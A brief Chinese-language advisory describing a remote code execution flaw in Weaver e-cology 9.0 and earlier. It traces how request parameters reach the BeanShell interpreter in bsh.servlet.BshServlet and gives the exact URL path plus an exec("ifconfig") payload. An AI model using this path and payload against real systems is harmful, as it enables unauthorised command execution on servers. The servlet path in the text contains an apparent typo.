影響版本:泛微 e-cology<=9.0
漏洞分析:
問題出現在 resin 下 lib 中的 bsh.jar 文件里,問題類 bsh.servlet.BshServlet,可 doGet 方法從 getParameter 中接收參數, Request 請求會交給evalScript 方法來進行處理。
參數傳遞
doGet--》getParameter--》 evalScript--》 localInterpreter.eval
漏洞利用:訪問 http://url/weaver/bsh.servlet.BshServleth
輸入payload
exec("ifconfig")